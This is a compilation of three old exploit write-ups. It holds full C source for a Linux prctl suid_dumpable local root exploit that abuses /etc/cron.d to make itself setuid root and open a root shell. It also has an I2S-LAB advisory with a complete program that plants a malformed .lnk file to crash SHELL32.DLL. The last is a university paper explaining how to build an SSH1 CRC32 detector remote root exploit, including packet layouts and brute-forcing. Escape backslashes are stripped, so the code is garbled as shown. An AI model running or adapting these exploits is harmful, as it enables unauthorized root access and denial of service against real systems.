*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char        crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploitn"
"SHELL=/bin/shn"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn"
"#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %dn";

char        cronstring[BUFSIZE];
char        fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
        execl(fname, fname, (char *) NULL);
}
       

int        main(int argc, char *argv[]) {

        int nw, pid;

        if (geteuid() == 0) {
                printf("[+] getting root shelln");
                setuid(0);
                setgid(0);
                if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
                        perror("[-] execle");
                        return 1;
                }
        }

        printf("nprctl() suidsafe exploitnn(C) Julien TINNESnn");

        /* get our file name */
        if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
                perror("[-] readlink");
                printf("This is not fatal, rewrite the exploitn");
        }

        if (signal(SIGUSR1, sh) == SIG_ERR) {
                perror("[-] signal");
                return 1;
        }
        printf("[+] Installed signal handlern");

        /* Let us create core files */
        setrlimit(RLIMIT_CORE, &myrlimit);
        if (chdir(CROND) == -1) {
                perror("[-] chdir");
                return 1;
        }

        /* exploit the flaw */
        if (prctl(PR_SET_DUMPABLE, 2) == -1) {
                perror("[-] prtctl");
                printf("Is you kernel version >= 2.6.13 ?n");
                return 1;
        }

        printf("[+] We are suidsafe dumpable!n");

        /* Forge the string for our core dump */
        nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "n", fname, fname, CROND"/core", getpid());
        if (nw >= sizeof(cronstring)) {
                printf("[-] cronstring is too smalln");
                return 1;
        }
        printf("[+] Malicious string forgedn");

        if ((pid=fork()) == -1) {
                perror("[-] fork");
                return 1;
        }

        if (pid == 0) {
                /* This is not the good way to do it ;) */
                sleep(120);
                exit(0);
        }

        /* SEGFAULT the child */
        printf("[+] Segfaulting childn");
        if (kill(pid, 11) == -1) {
                perror("[-] kill");
                return 1;
        }
        if (gettimeofday(&te, NULL) == 0)
                printf("[+] Waiting for exploit to succeed (~%ld seconds)n", 60 - (te.tv_sec%60));
        sleep(120);

        printf("[-] It looks like the exploit failedn");

        return 1;
}
               
2009/09/30 21:45 2009/09/30 21:45
###########################################################################################

                                ~ I2S LAB Security Advisory ~

###########################################################################################
http://www.I2S-LAB.com

Date : 12 / 03 / 2003

Affected systems : Microsoft Windows 2000 SP4 and below

Vendor : http://www.microsoft.com

Issue : Attackers can turn a media (directory, drive, mail, ...) into a remote bomb crashing any application
        which would try to acces it using SHELL32.DLL library (explorer, IE, outlook).


Description
___________

SHELL32.DLL is a library which contains windows system functions used to open web pages, documents and
obtain informations on file associations.

That library is used by most standard applications to browse directories to search for a specific file
(a perfect example being the FILE->Open menu command available in most applications).


Technical Details
_________________

As a user browses through his hard-drive, Windows automatically analyses every file of the current directory,
so as to allow the system to display the matching icon as well as file informations.

When Windows must analyse a shortcut (*.lnk), the system determines the properties of the file indicated by the link
using its structure (see: The Windows Shortcut File Format at http://www.I2S-LAB.com/Papers/The_Windows_Shortcut_File_Format.pdf).

Here is the structure of a windows link as we have designed it:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-------------------------------------------------------------------+
| Shortcut HEADER                                                   |
+-------------------------------------------------------------------+
00000000 4C00 0000 L...  'L' Magic value

00000004 0114 0200 ....   GUID of shurtcut files
00000008 0000 0000 ....
00000008 C000 0000 ....
00000010 0000 0046 ...F
  
00000014 8900 0000 ....   Flag

00000018 2000 0000  ...   File attribute

0000001C A0C3 D5A8 ....   Time 1
00000020 478E C301 G...

00000024 A0C3 D5A8 ....   Time 2
00000028 478E C301 G...

0000002C A0C3 D5A8 ....   Time 3
00000030 478E C301 G...

00000034 0000 0000 ....          File length (here 0 bytes)
00000038 0000 0000 ....          Icone number (no icon for us)
0000003C 0100 0000 ....   Normal window
00000040 0000 0000 ....   shortcut (no)
00000044 0000 0000 ....   unknow/reserved
00000048 0000 0000 ....   unknow/reserved


+-------------------------------------------------------------------+
| Item Id List                                                      |
+-------------------------------------------------------------------+

0000004C 4600      F.     Size of item id list

+-------------------------------------------------------------------+
| First item                                                        |
+-------------------------------------------------------------------+

0000004E 1400      ..     Lenght of first item
00000050 1F50      .P     ???
00000052 E04F D020 .O.    File lenght
00000056 EA3A 6910 .:i.   ???

+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

0000005A A2D8 0800 2B30 309D 1900 2343 3A5C 0000 ....+00...#C:..
0000006A 0000 0000 0000 0000 0000 0000 0000 0051 ...............Q
0000007A 8417 0032 0000 0000 0049 2F87 4B20 006B ...2.....I/.K .k
0000008A 7574 2E74 7874 0000                     ut.txt..

+-------------------------------------------------------------------+
| vulnerable bytes                                                  |
+-------------------------------------------------------------------+

00000092 0000 0900  ....  name lenght
00000096 2E00       ..

00000098 5C00 6B00 7500 7400 2E00 7400 7800 7400 .k.u.t...t.x.t. name in wide char                                     `


+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

000000A8 6000 0000 0300 00A0 5800 0000 0000 0000 `.......X.......
000000B8 6932 732D 7732 6B00 0000 0000 0000 0000 i2s-w2k.........
000000C8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000D8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
000000E8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000F8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
00000108 0000 0000 00                            .....

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

If we modify the name length at the offset 0x92, SHELL32.DLL will cause an access violation error,
because text was about to be written outside of the the buffer allocated on the heap for this operation.


demonstration
_____________

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>mkdir crash-test

C:>TrapLink.exe c:crash-test
################################
TrapLink SHELL32.dll DoS exploit
################################
By I2S-LAB Team.

http://www.I2S-LaB.com

c:crash-test is now trapped with a malicious LNK file

C:>start explorer.exe c:crash-test


(618.408): Access violation - code c0000005 (!!! second chance !!!)

eax=0013ffe0 ebx=70c18871 ecx=00003ee0 edx=00012eba esi=0012a000 edi=00143318
eip=77583411 esp=03e5ea8c ebp=03e5eab8 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000213

*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:WINNTsystem32SHELL32.dll - SHELL32!Ordinal18+0x25:
77583411 f3a5            rep  movsd ds:0012a000=???????? es:00143318=00000065


775833ff e89effffff       call    SHELL32!Ordinal196 (775833a2)
77583404 85c0             test    eax,eax
77583406 7412             jz      SHELL32!Ordinal18+0x2e (7758341a)
77583408 8bcf             mov     ecx,edi
7758340a 8bf8             mov     edi,eax
7758340c 8bd1             mov     edx,ecx
7758340e c1e902           shr     ecx,0x2
77583411 f3a5             rep     movsd ds:000f8000=???????? es:00107040=00000000  <-- crash
77583413 8bca             mov     ecx,edx
77583415 83e103           and     ecx,0x3
77583418 f3a4             rep     movsb
7758341a 5f               pop     edi
7758341b 5e               pop     esi
7758341c c20400           ret     0x4


Exploits
________

/****************************************
* TrapLink for SHELL32.DLL DoS Exploit *
****************************************
      Discovered & coded by I2S-LaB

________________________________________

      URL :  http://www.I2S-LaB.com
      MAIL: contact[at]I2S-LaB.com
________________________________________

*****************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

HANDLE TrapFile;
DWORD NumberOfBytesWritten;
unsigned char LnkCrash[] =

        "x4Cx00x00x00x01x14x02x00x00x00x00x00xC0x00x00x00"
        "x00x00x00x46x89x00x00x00x20x00x00x00xA0xC3xD5xA8"
        "x47x8ExC3x01xA0xC3xD5xA8x47x8ExC3x01xA0xC3xD5xA8"
        "x47x8ExC3x01x00x00x00x00x00x00x00x00x01x00x00x00"
        "x00x00x00x00x00x00x00x00x00x00x00x00x46x00x14x00"
        "x1Fx50xE0x4FxD0x20xEAx3Ax69x10xA2xD8x08x00x2Bx30"
        "x30x9Dx19x00x23x43x3Ax5Cx00x00x00x00x00x00x00x00"
        "x00x00x00x00x00x00x00x00x00x51x84x17x00x32x00x00"
        "x00x00x00x49x2Fx87x4Bx20x00x6Bx75x74x2Ex74x78x74"
        "x00x00xFFxFFx09x00x2Ex00x5Cx00x6Bx00x75x00x74x00"
        "x2Ex00x74x00x78x00x74x00x60x00x00x00x03x00x00xA0"
        "x58x00x00x00x00x00x00x00x69x32x73x2Dx77x32x6Bx00"
        "x00x00x00x00x00x00x00x00x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x00x00x00x00";

        printf ("################################n"
                "TrapLink SHELL32.dll DoS exploitn"
                "################################n"
                "By I2S-LAB Team.nn"
                "http://www.I2S-LaB.comnn" );

        if (!argv[1])
                printf ("Usage : TrapLink <path to trap>n", argv[0]);

        else
        {
                if ( !SetCurrentDirectory(argv[1]) )
                        printf ("Error : %s is not a valid directory to trapn", argv[1] );
                else
                {
                        TrapFile = CreateFile("I2S-Crash.lnk",
                                GENERIC_WRITE, 0,
                                NULL, CREATE_ALWAYS,
                                FILE_ATTRIBUTE_NORMAL, NULL );

                        if (TrapFile == INVALID_HANDLE_VALUE)
                                printf ("Error : cannot create malicious file.n");

                        else
                        {
                                WriteFile (TrapFile, LnkCrash, sizeof (LnkCrash), &NumberOfBytesWritten, NULL);
                                printf ("%s is now trapped with a malicious LNK filen", argv[1] );
                        }
                }
        }
}


Solution
________

Microsoft was notified on 11/17/2003 and have agreed to fix this as part of the next service pack.

credits
_______


Aur?ien BOUDOUX - aurelien[at]I2S-LaB.com
Fred CHAVEROT - fred[at]I2S-LaB.com
2009/09/30 21:45 2009/09/30 21:45
SSH1 remote root exploit
sshd CRC32 compensation attack detector vulnerability explained



March 26, 2002

Korpinen Pekka, 48179S
pkorpine@cc.hut.fi
Department of Electrical Engineering

Lyytikäinen Kalle, 47992V
kalyytik@cc.hut.fi
Department of Computer Science


Helsinki University of Technology


This paper is an analysis of a security weakness in many SSH1 server implementations. Ssh servers introduced a detection mechanism against CRC32 compensation attack. this detection function includes a design fault which enables remote hosts to write arbitrary values to server memory. The authors reverse engineered a proprietary exploit implementation and wrote their own implementation of the exploit. This paper describes the vulnerability, the exploitation process, the author's exploit implementation, and means for protecting hosts against this attack. This paper is also a project for the course 'Tik-110.452 Tietojärjestelmien käytännön turvallisuuden erikoiskurssi' at Helsinki University of Technology.
0 Table of Contents
1    Introduction - SSH protocol
2    Vulnerability in SSH1.5
    2.1    Buffer overflow
    2.2    Preconditions - Affected ssh daemons
    2.3    Linux memory layout
3    Exploits
    3.1    First incidents
    3.2    Problems
    3.3    Available implementations
    3.4    Shellcode
4    Our exploit
    4.1    Goals
    4.2    Resources
    4.3    Process
        4.3.1    Reverse Engineering
        4.3.2    Packet sending
        4.3.3    Finding distance to 'buf'
        4.3.4    Finding distance to kernel space
        4.3.5    Sending shellcode
        4.3.6    Executing shellcode
    4.4    Using exploit
    4.5    Advantages and Disadvantages
5    Counter actions
    5.1    Detecting attacks
    5.2    Required actions after being attacked
    5.3    Preventive actions
6    References
7    Appendices
    7.1    Shellcode
    7.2    Exploit usage
    7.3    Source code files for the exploit
        7.3.1    packet.diff
        7.3.2    uxp2.c

1 Introduction - SSH protocol
The SSH (Secure Shell) protocol provides a standardized way to communicate on a secured channel. All communications between SSH client and SSH daemon are encrypted. The encryption is done using a symmetric cipher (DES, 3DES and Blowfish, for example). The encryption key is exchanged at the beginning of the connection using RSA keys.

The (SSH) client creates a connection to the (SSH) server which is listening on a specific port, usually 22. The server accepts the connection and responds by sending back its version identification string. The client sends its own identification. After both sides have been identificated they switch to a packet based binary protocol. The server sends its host key. The host key is a unique RSA key used to authenticate the host and it is regenerated every hour. The client generates a 256 bit session key, encrypts it using both RSA keys, and sends the encrypted session key and selected cipher type to the server. Now both sides turn on encryption using the selected encryption algorithm and key. Finally the server sends an encrypted confirmation message. At this point the channel is secured. The client then tries to authenticate itself using any of the available authentication methods (password, RSA authentication etc). After successful authentication, the client can allocate a pseudo tty, start port forwarding, or execute a shell command [23].

When the client or the server receives an encrypted packet, it checks if the packet is tampered with using the crc32 compensation attack detector. The detection algorithm checks the packet before it is parsed in any way. The first case when this algorithm is used is when the client sends its authentication request.

Maximum packet length is about 256k bytes.

2 Vulnerability in SSH1.5
The crc32 compensation attack detector in various SSH versions has a bug that allows an evil attacker to write to memory locations on the server side. If the packets are smartly constructed, they may allow code to be executed on the server side. Because the server is usually being run under the root account, this vulnerability gives the attacker root access to the host.

The memory writing and running a code on the host can be inspected as the casual buffer overflow exploits even though in this case the buffer overflow is not such straightforward to do as usually.

2.1 Buffer overflow
Buffer overflow exploits are based on the fact that the return address of currently running function is kept on the stack. When a function wants to make a function call, it pushes its current instruction pointer to the stack (among other possible data) and jumps to the address of the callee. When the callee reaches it's end (e.g. return-clause in C) it retrieves the stored instruction pointer from the stack and makes a jump to it. Now the caller can continue it's execution. If the return address is manipulated during the execution of the callee, the point of execution is transferred to a different location when the callee returns. This makes the running of inserted code possible.

If we are inserting data on a statically allocated buffer we must be sure that the buffer can hold the all data (e.g. strlen(data) < strlen(buffer)). Usually progammer's won't check the length of the source because they are making assumptions of the length. If the source's length is greater than the buffer size, the buffer is overflown. Because the statically allocated buffers are usually kept on the stack, this allows the source data to overwrite the return address.

[Example:] If a program has a buffer, say 128 bytes in length. The program reads an argument from the command-line. The argument is supposedly be a password, so the 128 bytes is surely enough - no need to check. The main function calls a subfunction with the command line parameter as an in-argument. The subfunction has the mentioned buffer and it simply copies the argument to the buffer (without length checking!). This works ok if the source length is below 128 bytes. An evil attacker could overflow the buffer easily because of the lack of checks. He runs the program with an argument that is longer than 128 bytes. This causes the buffer to overflow.

The argument:
[NNNNNNNNNSSSSSSSSSSSJJJJJJJJJJJJJJJJJJJJJJJ]
The buffer in the stack with the return address:
[xxxxxxxxxxxxxxxxxxxxxxx]....[RET]...
The buffer after overflow:
[NNNNNNNNNSSSSSSSSSSSJJJ]....[ J ]...
The return address is overwritten with a value J. The specific location of the return address is unknown to the attacker. He can make a so-called NOP sled (marked as N) before the actual shellcode (S). NOP is a special instruction that doesn't do anything. In this way, the jump can be a guess and if the jump lands on the NOP sled, it slides to the beginning of the actual shellcode.

When the sub-function is ready to return (and when the return address is accidentally overwritten!), the program jumps to the address specified on the return address field in the stack. The point of execution is now pointing on the NOP sled and the shellcode is executed. The shellcode can now for example open a new shell or a telnetable back port on the host. This is all done on the same account as the program was run. [End of example] [1]

2.2 Preconditions - Affected ssh daemons
The following versions are reported to be vulnerable:
SSH-1.5-1.2.24 .. 31
SSH-1.5-1.3.6 .. 10
SSH-1.5-1.3.6
SSH-1.5-OpenSSH-1.2
SSH-1.5-OpenSSH-1.2.1
SSH-1.5-OpenSSH-1.2.2
SSH-1.5-OpenSSH-1.2.3
SSH-1.99-2.0.11 (with Version 1 fallback)
SSH-1.99-2.0.12 (with Version 1 fallback)
SSH-1.99-2.0.13 (with Version 1 fallback)
SSH-1.99-2.1.0.pl2 (with Version 1 fallback)
SSH-1.99-2.1.0 (with Version 1 fallback)
SSH-1.99-2.2.0 (with Version 1 fallback)
SSH-1.99-2.3.0 (with Version 1 fallback)
SSH-1.99-2.4.0 (with Version 1 fallback)
SSH-1.99-3.0.0 (with Version 1 fallback)
SSH-1.99-3.0.1 (with Version 1 fallback)
SSH-1.5-OpenSSH-2.1
SSH-1.5-OpenSSH_2.1.1
SSH-1.5-OpenSSH_2.2.0
SSH-1.5-OpenSSH_2.2.0p1
One can check the vulnerability by sending a long enough login name with a client (Note. newest clients check the length by themselves). If the server just crashes, the server is vulnerable. Long enough is 88 000 characters.

There also exists a perl script that does the checking automatically. [2]

2.3 Linux memory layout
The linux memory layout is in crucial role in this exploit. One must know something about the architecture. The figure below shows the general layout of the memory seen by an user process:

top of memory
  0xffff ffff           ____________________
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0xc000 0000          |                    |
                       |        STACK       |   read/write
                       |____________________|
                       |                    |
                       |     LIBRARIES      |
  0x4000 0000          |____________________|
                       |                    |
                       |        HEAP        |        read/write (malloc)
                       |____________________|
                       |                    |
                       |        BSS         |        read/write
                       |____________________|
                       |                    |
                       |        DATA        |        read/write
                       |____________________|
                       |                    |
                       |   TEXT (aka CODE)  |          read, no write
  0x0800 0000          |____________________|
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0x0000 00000
bottom of memory
The addresses are in the absolute form. The stack grows down (i.e. to smaller addresses) and heap grows up. Dynamically allocated arrays are created on heap (size < 128kB, address are form of 0x080x xxxx) or on the library area (size > 128kB, address are form of 0x400x xxxx). The addresses of specific variables and functions during the run may vary a bit from host to host but the addresses mentioned on the figure are constants.

On linux process's memory map can be seen by running cat /proc//maps. It displays addresses, sizes, attributes (read, write, execute), and the sources of loaded programs and libraries. The readelf utility can be used to see how the linker has organized the objects. [3] [4]

3 Exploits
The exploit is based entirely on the detect_attack() function in the SSH implementation. The function should detect the crc32 compensation attack but it introduces another security vulnerability.

Critical parts of the detect_attack() function:

--------------------------------------------------------
int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
   ..
        static u_int16_t *h = (u_int16_t *) NULL;
        static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
        register u_int32_t i, j;
        u_int32_t l;
   ..
#1  for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
                ;

        if (h == NULL) {
                debug("Installing crc compensation attack detector.");
#2                n = l;
                h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
        } else {
   ..
        for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
#3                for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
                     i = (i + 1) & (n - 1)) {
                        if (h[i] == HASH_IV) {
                                if (!CMP(c, IV)) {
                                        if (check_crc(c, buf, len, IV))
                                                return (DEATTACK_DETECTED);
                                        else
                                                break;
                                }
#4                        } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
                                if (check_crc(c, buf, len, IV))
                                        return (DEATTACK_DETECTED);
                                else
                                        break;
                        }
                }
#5                h[i] = j;
        }
        return (DEATTACK_OK);
}
--------------------------------------------------------
The function is called after each received SSH packet. The 'buf' argument is the buffer where incoming (encrypted) packet's payload is located, 'len' is the length of the buffer (note: the length is delivered on the ssh-packet, so the actual buffer could be longer). The 'IV' is always NULL.

The problem resides on the #2 where a 32-bit integer ('l') is assigned on a 16-bit integer ('n'). If the lower word of the 'l' is zero, the 'n' is assigned to zero. The 'l' is calculated on #1, and is dependant on the 'len' variable. If the 'len' is bigger than about 88000, the 'n' is set to zero.

Then the 'h' is allocated with call to malloc and the requested becomes to zero because n==0. The allocated size is the minimum allocation block. This is 12 bytes in current linux platforms.

The outer for-loop (near #3) goes through the whole packets. The variable 'j' is the block number (blocks are 8 bytes long). On #3 the HASH()-macro gets the first 32-bits from the current block. Because the 'n' is zero the (n-1)-clause is evaluated as 0xffff. So, the variable 'i' has the first 32-bits of the current block.

On #5 is the assignment operation. This is where the memory can be written. The 'h' is the pointer to 16-bit values. So the "h[i] = j" clause can be expressed also with byte pointers *(h+2*i) = j Thus, the value of 'j' (the current block number) is written to a specific distance from the 'h'. Because the value of 'i' is fetched from the packet and the 'j' is the block number, the 'i' can be used as a offset value and the placement of the 'i' can be used as the value that is written to the memory.

The following figure hopefully clears the idea:

block      incoming packet
number     ('buf')
('j')
       ___________________
0000  | 00000000 xxxxxxxx |
0001  | 00000000 xxxxxxxx |
0002  | 00000000 xxxxxxxx |
0003  | 00000000 xxxxxxxx |
0004  | 00000000 xxxxxxxx |
0005  | 00000000 xxxxxxxx |
0006  | beefcafe xxxxxxxx |
....  
0332  | 00000042 xxxxxxxx |
....  
For example, on the 6th block:

  j = 6
  i = 0xbeefcafe
So, the following assignment is done:

h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x1234abcd = 6;
And on the 332th block:
  j = 332
  i = 0x42
  h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x00000123 = 332;
Notes to remember: The value in the packet means the offset (multiplied by 2) from the address of 'h' and the place where the value is located means the value to be stored in memory [5].

The shellcode insertion is done basically with a packet like this (knowledge of the exact parameters is required):

          ___________________
0000     | xxxxxxxx ffffffff |
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE VALUE TO EIP
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE NEW VALUE TO EIP
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN START
         |       ....        |
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN END
         | 90909090 90909090 | NOP SLED
         |       ....        |
         | xxxxxxxx xxxxxxxx | SHELL CODE
         |___________________|
xxxxx =
  ZZZZZZZZ = (offset to the high word of the stored instruction pointer)/2,
  XXXX = value of the instruction pointer (high word)
  YYYY = where to jump (high word, low word stays the same)
3.1 First incidents
The vulnerability was announced on February 8th 2001. It was discovered by Michal Zaleski of the BindView RAZOR Team. [6] [7]

Even thought the vulnerability was discovered early, many site administrators didn't update their SSH daemons. The experts assumed that the possibility of the exploit were ridiculously small and that there will not be any working mass exploit engines. They were wrong. The incident below is one of the first incidents that were analysed. It clearly shows that the exploit can be used. The rumour says that the big finnish hack incidents on winter 2001-2002 were also done by using this exploit.

"On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1." This vulnerability is described in CERT Vulnerability note VU#945216 [6]:

Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually." [8] [9]

3.2 Problems
As one can see after examining the detect_attack() function, the hardest problem in exploiting is the addresses of critical variables and the address of the return pointer.

A successful exploit must guess the following parameters (or some parameters that the following can be calculated from):

distance between 'h' and 'buf'
distance between 'h' and the return address on the stack
the value of the return address (higher word enough)
the absolute address of 'buf'
With these parameters the exploit is somewhat straighforward. Educated guesses can be made with the knowledge of the host (operating system, processor, linux distribution, kernel version etc). This information should be easy to gather using automated tools. The attacker could for example get the version strings of mail, ftp, http, ssh, imap, and pop servers and compare them with the default versions of some distributions. This way he can get the same SSHD daemon and maybe try it on his lab.

Part of the parameters can be find using brute force methods. The buffer 'buf' can be found using a packet that writes to a specific region of memory. Making a educated guess of the boundaries where the buffer is located and starting to write from there. If the server dies (client sees connection closing), the algorithm should change the address and start again. The server dies because of segmentation fault (i.e. writing to a read-only memory etc). If the server reports something like "invalid bytes on packet", the writing was successful and the buffer is located (on high probability).

3.3 Available implementations
The implementations of this exploit are not easy to get. We were able to find a binary exploit called shack. This can be downloaded from [10].

The source code of the binary is not available but an analysis of an attack done with this tool can be read at [11].

The shack tries to locate the parameters using couple binary searches. After it has revealed good enough estimates of memory locations, it starts the bruteforcing. The shellcode of the shack creates a root shell on the host machine and the attacker can use it to install the trojans.

We tried the shack on couple of servers running the same version of OpenSSH. One host was succesfully exploited with this, the other one wasn't. Our exploit worked for both.

Another exploit by zip/TESO should be wondering somewhere, at least there are some analysis about that: [8]

Both of the analysis are concentrated on the network traffic and detection. It is kind of disappointing that nobody has analyzed the exploits in the lower levels, or how it is done.

We used the tcpflow-program to capture the network traffic created by shack. After analyzing the traffic we were able to reverse engineer the code almost completely. The process is documented in Chapter 4 [12].

3.4 Shellcode
Shellcode means the code that the attacker wants to run on a target computer. The code creates a shell hopefully running as root account. One version of shellcode is a portshell. It creates a backdoor that listens some specific TCP port on the target machine. When the attacker telnets to the target to that port, the portshell binds a shell to the tcp stream and the attacker has his own telnet-type access (with root-account!).

The shellcode is typically ran only a few minutes. In that time the attacker tries to install his rootkits and trojans, clears the logs and traces. After that the attacker uses some ordinary access type to get to the host.

Shellcodes are always platform dependant because they are made of assembly instructions. The attacker must know what platform is on the target. Shellcodes usually don't contain any zero bytes because then they couldn't be used with strpcy() functions. For example 'mov eax,0' must be transformed as 'xor eax,eax'. This does the eax clearing but doesn't contain zero when its run through assembler.

A shellcode example (port shell) with sources can be seen at [13]

The Phrack magazine has a great article about shellcodes and buffer overflows: [1]

4 Our exploit
4.1 Goals
The meaning of our exploit project is to hijack a remote host running sshd. this is attempted using sshd's vulnerabilities discussed in Chapter 2. The goal is to be able to access the remote host with root privileges and thereby gain access to all information and controls on the target host.

4.2 Resources
ssh daemon (modified)
We used Openssh-2.2.0p1 as the victim's ssh daemon. This implementation of sshd (protocol version less than 2) was known to be vulnerable to our attack and it was easily available over the Internet. We modified the sshd for the development phase by having it print out important frame and stack information. The stack location information was helpful in fine-tuning function return address overwriting. BSS memory section's location information gave directions to finding our shellcode in memory.
 
After the exploit application was finished, we restored the sshd to its original state.
 
ssh client source code
Openssh-2.3.0p1 was used as a platform for our exploit, since we found one occasion where a similar exploit was possible with this version. However, as far as we know, any other ssh client may have been used in our exploit.
 
In order to have the client to send the encrypted ssh packets of our choice, we modified the client to send exactly those cipherblocks we asked it to. Usually the client takes plaintext from the user and sends its ciphertext over the network. This time we wanted to send specific ciphertext and actually we did not care about the corresponding plaintext.
 
We let the client do key exchange in the ordinary fashion, but when the ciphering starts and user authentication is about to begin, we send malicious packets to the victim.
 
Teso/Shack logs & network traffic
We acquired a similar exploit from 'Team Teso', which was successful in running the required shellcode, but only with very good initial guesses for stack and bss section locations. This implementation was very inefficient.
 
We found another exploit called 'shack' which is related to 'anti.security.is'. This exploit is assumed to be proprietary in the first place and for sale, but it slipped to public. Only the binary of this exploit was available. Although the logs it generates gave us hints what it was doing. Some references call this exploit the Teso-exploit, but we think that it only uses the teso-method to find a critical parameter run-time.
 
The 'shack' exploit was a black box to us and we conducted extended analysis of the network traffic it generated.
 
Shellcode
We acquired a shellcode from Anathema anathema@hack.co.za, which was used in our implementation. See appendix 7.1. This implementation will create a socket for enabling remote access, bind the socket to the process, accept connections to port 36864, and execute a shell.
4.3 Process
We created an exploit application for handling the brute force methodology of the exploit. It uses the modified ssh client to try connections to the victim, with certain intelligence. The application generates malicious packets for the victim and lets the modified ssh client send them. Depending on the output of the server, the application makes conclusions on the effects of the malicious packet. The server may return such messages as 'corrupt bytes in packet' or 'CRC32 compensation attack detected'. Although, the most frequent response is a mere connection close since the server crashes often (SEGV). These output strings are analysed and used as directions for next malicious packets. It is very typical that the connection closes after the first cipherpacket, since it is somehow malformed. For example our exploit doesn't consider CRC checksums and therefore the sshd closes the connection. Although, a lot can happen before the connection is closed…

The process itself consists of four phases, of who the last one attempts to run the shellcode.

4.3.1 Reverse Engineering
The shack exploit surprised us with its capability to find out critical addresses concerning the exploit. A utility program called 'tcpflow' and gnu debugger were used to reverse engineer the operation of the shack exploit. Tcpflow is a program which captures entire tcp connections combining all relevant packets together. This tool was crucial in succeeding to make a working exploit.

Hexdump was used to interpret the data in readable format:

hexdump -e '"%07.7_ax " 16/1 "%02x " "n"' -s 0xb8 192.168.001.010.03164-192.168.001.001.02222 | less
Gdb was used to diagnose various erroneous states and in confirming memory address calculations.

4.3.2 Packet sending
We modified the packet.c source file in such a way that the client sends dedicated cipherpackets we ask it to. Packet.c includes a function definition for packet_write_poll() which is used to write the ciphertext to outgoing buffer. Our modified implementation reads the desired cipherpacket from a file '/tmp/exploit_packet' and sends it. These packet files are written by our exploit application.

4.3.3 Finding distance to 'buf'
The first thing that can be calculated in the server's memory addresses is the distance from variable h to variable buf (according to detect_attack() function). The following format of cipherpacket was used to search for the distance from h to buf:

Extract from packet #1:

00000b8 00 00 00 00 ff ff ff ff 00 00 00 01 ff ff ff ff
00000c8 00 00 00 04 ff ff ff ff 00 00 00 05 ff ff ff ff
00000d8 00 00 00 08 ff ff ff ff 00 00 00 09 ff ff ff ff
00000e8 00 00 00 0c ff ff ff ff 00 00 00 0d ff ff ff ff
00000f8 00 00 00 10 ff ff ff ff 00 00 00 11 ff ff ff ff
...
This is the first type of packet that our exploit uses. It consists of 184-byte header and 102400 bytes 8-byte blocks that consist of a small 32-bit number and 0xFFFF. Consecutive packets increase the small numbers. When sshd processes this kind of packet, it will set i to first 32-bits of each 8-byte block (#3 in detect_attack()). It tries to read memory at h[i] on the same line. This read will cause SEGV if i is such an offset to h that the address is not readable. SEGV also happens if buf + h[i] * 8 is unreadable. With this kind of packet, the sshd will practically always SEGV at #4 in detect_attack() when done thousands of times in a row.

